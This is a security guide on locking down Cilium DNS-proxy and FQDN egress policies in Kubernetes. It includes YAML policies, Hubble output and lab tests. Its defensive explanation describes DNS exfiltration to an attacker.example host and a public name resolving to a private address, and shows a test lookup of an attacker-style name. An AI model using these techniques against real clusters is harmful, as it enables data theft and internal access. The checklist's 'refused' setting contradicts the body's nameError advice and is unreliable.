Kubernetes networking with Cilium

FQDN egress allowlists with the Cilium DNS proxy, the secure way

Your egress policy allows exactly one domain, the security review passed, and a compromised pod is still sending your data out through DNS queries to a domain nobody allowed. The allowlist checked where packets went. It never asked what names were looked up.

The short answer

Route pod DNS through the Cilium DNS proxy with DNS rules that list only the names the pod needs (plus cluster names), not matchPattern "*". Allow connections with toFQDNs on specific ports. Add a deny for private and link-local ranges so no allowed name can resolve to an internal address, and remember an FQDN rule allows IPs, shared with anything else hosted there.

Updated Houssam Hammoudi, CTOTested with Cilium 1.20.2, Hubble 1.20.2, Kubernetes 1.34 (kind)

On this page
  1. What goes wrong
  2. What the docs say
  3. The secure configuration
  4. Prove it
  5. Mistakes people make
  6. Checklist

What goes wrong

A toFQDNs rule lets a pod connect to the IP addresses a name resolved to. To learn those addresses, Cilium sends the pod's DNS traffic through a DNS proxy in the agent, which needs its own DNS rule in the policy. Almost every example, including Cilium's, writes that DNS rule as matchPattern: "*".

That leaves three holes:

  • DNS itself is an exit. With "*", the pod may resolve any name. The cluster resolver forwards unknown names to the internet, so a pod can encode data in queries for <data>.attacker.example and never open a single allowed connection.
  • Names are really IPs. Cilium turns names into addresses and allows the addresses. Everything else on those addresses (other tenants of a CDN or a cloud storage endpoint) is reachable too, on the allowed ports.
  • Names can point inside. A name you allow, or a broad pattern, can resolve to a private address: a database, a node, the metadata service. The FQDN rule then allows it.

What the docs say

In order to associate domain names with IP addresses, Cilium intercepts DNS responses per-Endpoint using a DNS Proxy.

Source: Cilium docs, Layer 3 Policies

The IP information is selected for insertion by matchName or matchPattern rules, and is collected from all DNS responses seen by Cilium on the node.

Source: Cilium docs, Layer 3 Policies

The DNS Proxy is provided in each Cilium agent. As a result, DNS requests targeted by policies depend on the availability of the Cilium agent pod.

Source: Cilium docs, Layer 3 Policies

DNS based rules are intended for external connections and behave similarly to CIDR based rules.

Source: Cilium docs, Layer 3 Policies

The docs present the DNS rule as plumbing for toFQDNs and use "*" in it. They do not say that the same rule is your control over DNS exfiltration, or that "behave similarly to CIDR based rules" means everything else on those IPs is allowed too.

The secure configuration

1. One policy per workload: DNS names and connections.

yaml
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
  name: payments-egress
  namespace: app
spec:
  endpointSelector:
    matchLabels:
      app.kubernetes.io/name: payments
  egress:
    # 1. DNS goes through the Cilium DNS proxy, and only these names resolve.
    - toEndpoints:
        - matchLabels:
            k8s:io.kubernetes.pod.namespace: kube-system
            k8s:k8s-app: kube-dns
      toPorts:
        - ports:
            - port: "53"
              protocol: UDP
            - port: "53"
              protocol: TCP
          rules:
            dns:
              - matchPattern: "**.cluster.local"   # cluster names and search-path expansions; answered by cluster DNS
              - matchName: "api.payments.example.com"
              - matchPattern: "*.s3.us-east-1.example.net"  # exactly one label deep
    # 2. The external services, by name, on the port they use.
    - toFQDNs:
        - matchName: "api.payments.example.com"
        - matchPattern: "*.s3.us-east-1.example.net"
      toPorts:
        - ports:
            - port: "443"
              protocol: TCP

The DNS list and the toFQDNs list should match, plus **.cluster.local. **.cluster.local matters because pods resolve with search domains: a lookup for api.payments.example.com is first tried as api.payments.example.com.app.svc.cluster.local, and a refused answer there can stop some resolvers before they try the real name. Cluster DNS answers cluster.local itself, so allowing it does not open a path out.

Pattern rules from the Cilium docs: *.example.net matches one label (a.example.net, not example.net or a.b.example.net); **.example.net matches any depth below example.net, but not example.net itself. Prefer matchName, then single-label patterns.

2. A deny that no FQDN can override.

yaml
apiVersion: cilium.io/v2
kind: CiliumClusterwideNetworkPolicy
metadata:
  name: fqdn-never-internal
spec:
  endpointSelector:
    matchLabels:
      k8s:io.kubernetes.pod.namespace: app
  enableDefaultDeny:
    egress: false
    ingress: false
  egressDeny:
    - toCIDRSet:
        - cidr: 10.0.0.0/8
        - cidr: 172.16.0.0/12
        - cidr: 192.168.0.0/16
        - cidr: 100.64.0.0/10
        - cidr: 169.254.0.0/16
        - cidr: fc00::/7
        - cidr: fe80::/10

CIDR rules do not match pods or nodes by default, so this does not block in-cluster traffic, which your endpoint rules control. It blocks addresses outside Cilium's management: VPC hosts, managed databases, metadata. The Cilium docs state that deny policies take precedence over allow policies, but they do not describe how a CIDR deny interacts with addresses learned through toFQDNs. On Cilium 1.20.2 the deny won (Prove it, step 4). Run that test on your version too.

3. Agent settings. Keep the L7 proxy on (it is required for DNS rules) and answer denied lookups in a way every client accepts at once:

yaml
# cilium-values.yaml
l7Proxy: true
dnsProxy:
  dnsRejectResponseCode: nameError   # NXDOMAIN; the default "refused" makes musl clients wait

The default, refused, is ignored by the musl C library in Alpine-based images: the client asks again until its timeout. In the lab, a blocked name took 5 seconds to fail from the curl image with refused, and under a fifth of a second with nameError. Details in CI build pods.

Prove it

Run on a lab cluster, in namespace pay. The example names do not resolve, so the lab policy used real ones: example.com for api.payments.example.com, *.githubusercontent.com for the s3 pattern, and 172-18-0-1.sslip.io, a public name whose DNS answer is the private address 172.18.0.1. A small web server listened there, on the lab host, outside the cluster.

1. Allowed names resolve and connect; others do not resolve:

text
$ kubectl -n pay exec deploy/payments -- nslookup api.github.com
** server can't find api.github.com: REFUSED
$ kubectl -n pay exec deploy/payments -- nslookup exfil-test.attacker.example
** server can't find exfil-test.attacker.example: REFUSED
https://example.com/                 200
https://raw.githubusercontent.com/   301
https://api.github.com/              000   (curl exit 6: could not resolve)

REFUSED comes from the Cilium DNS proxy on the node, which ran with the default reject code for this test. With nameError the same lookups end in NXDOMAIN. Either way, the query for the attacker's name never reached a DNS server.

2. Hubble shows the DNS decisions:

text
$ hubble observe --namespace pay --protocol dns --since 1m
pay/payments-595db8dd7f-cl56d:54635 (ID:7141) -> kube-system/coredns-66bc5c9577-ssrvf:53 (ID:1734) dns-request proxy DROPPED (DNS Query api.github.com. A)
pay/payments-595db8dd7f-cl56d:33313 (ID:7141) -> kube-system/coredns-66bc5c9577-ssrvf:53 (ID:1734) dns-request proxy FORWARDED (DNS Query example.com. A)
pay/payments-595db8dd7f-cl56d:33313 (ID:7141) <- kube-system/coredns-66bc5c9577-ssrvf:53 (ID:1734) dns-response proxy FORWARDED (DNS Answer "104.20.23.154,172.66.147.243" TTL: 30 (Proxy example.com. A))

hubble observe --namespace pay --type l7 --verdict DROPPED lists the same api.github.com queries on their own.

3. The IPs Cilium learned (on the pod's node):

text
$ cilium-dbg fqdn cache list
Endpoint   Source   FQDN                         TTL   ExpirationTime             IPs
3146       lookup   172-18-0-1.sslip.io.         30    2026-09-25T01:10:45.969Z   172.18.0.1
3146       lookup   example.com.                 30    2026-09-25T01:10:43.511Z   104.20.23.154,172.66.147.243
3146       lookup   raw.githubusercontent.com.   30    2026-09-25T01:10:07.520Z   185.199.110.133,185.199.108.133,185.199.111.133,185.199.109.133

The first line is the problem this page is about. A public name, allowed by policy, taught Cilium to allow a private address.

4. A name pointing inside is still blocked, with the deny. The same request, before and after fqdn-never-internal:

text
FQDN policy only:        http://172-18-0-1.sslip.io:8443/   200
FQDN policy + deny:      http://172-18-0-1.sslip.io:8443/   000   (curl exit 28: timeout)
text
$ hubble observe --namespace pay --verdict DROPPED --since 1m | grep 172.18.0.1
pay/payments-595db8dd7f-cl56d:57216 (ID:7141) <> 172.18.0.1:8443 (ID:16777235) Policy denied by denylist DROPPED (TCP Flags: SYN)

Without the deny, anyone who controls DNS for an allowed name can point it at your internal network. With it, the learned address is dropped.

5. Pattern depth. Under matchPattern: "*.githubusercontent.com":

text
nosuchname123.githubusercontent.com     Address: 185.199.111.133
a.nosuchname123.githubusercontent.com   ** server can't find ...: REFUSED
githubusercontent.com                   ** server can't find ...: REFUSED

One label deep, as documented. Note the first line: a name nobody created resolves, because the domain answers every name. A pattern allows every name the domain's owner, or its users, can make.

Mistakes people make

matchPattern "*" in the DNS rule

It is in every example, and it turns DNS into an open channel. List the names the workload needs.

Believing a name is an identity

The rule allows IP addresses. On shared hosting, a CDN or a cloud storage endpoint, those addresses serve other people's content too. Where that matters, pin to dedicated endpoints or send traffic through an egress proxy that checks the TLS server name.

Patterns that are wider than they look

**.example.net includes every subdomain anyone can create under example.net. For platforms where customers get subdomains, that includes attackers.

Forgetting search domains

With the default ndots:5, a pod asks for several cluster.local expansions before the real name. If those are refused, some resolvers give up. Allow **.cluster.local, or use fully qualified names with a trailing dot.

No plan for agent restarts

The DNS proxy runs in the agent. During an agent restart or upgrade, pods with DNS rules may see lookups fail. Upgrade node by node and test a lookup after each.

Checklist

  • DNS rules list only needed names plus **.cluster.local; no matchPattern: "*".
  • toFQDNs entries match the DNS rule names and include toPorts.
  • Patterns use matchName or single-label * where possible.
  • A deny policy blocks private, CGNAT, link-local and ULA ranges for these pods.
  • l7Proxy is enabled and denied lookups return refused.
  • A lookup for an unlisted name fails and shows as dropped in Hubble.
  • The learned IPs were reviewed for shared hosting.
  • Upgrades are rolled node by node with a DNS check after each.

An egress allowlist is two lists: where a pod may connect and what it may ask about. Most clusters only write the first.

H2-CSPE

Learn it on a live range

Cluster networking and policy, in Secure Platform Engineering: a real host in your browser, and every objective checked on the machine.

Start free

The Secure Way

More on kubernetes networking with cilium

Default-deny network policy, transparent encryption and egress control with Cilium and Hubble.

All kubernetes networking with cilium guides